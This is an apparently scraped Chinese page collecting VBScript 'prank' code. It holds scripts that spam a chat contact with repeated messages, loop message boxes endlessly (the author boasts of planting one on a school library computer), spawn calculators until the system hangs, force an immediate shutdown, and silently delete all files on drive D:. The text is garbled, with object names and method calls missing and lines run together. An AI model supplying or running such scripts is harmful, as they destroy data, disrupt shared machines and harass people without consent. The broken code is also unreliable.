word
word
1 / 9
word
一、你打开好友的聊天对话框,然后记下在你 里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送 信息到好友的次数(代码里的数字10改一下即可). =>
复制代码 代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("")
for i=1 to 10
700
("与 xx 聊天中")
"^v"
i
"%s"
next
骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没方法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("") do "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = ("") "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = ("") "cmd /c ""del d:\*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------- 六、不断弹出
vbs整人代码大全 来自淘豆网www.taodocs.com转载请标明出处.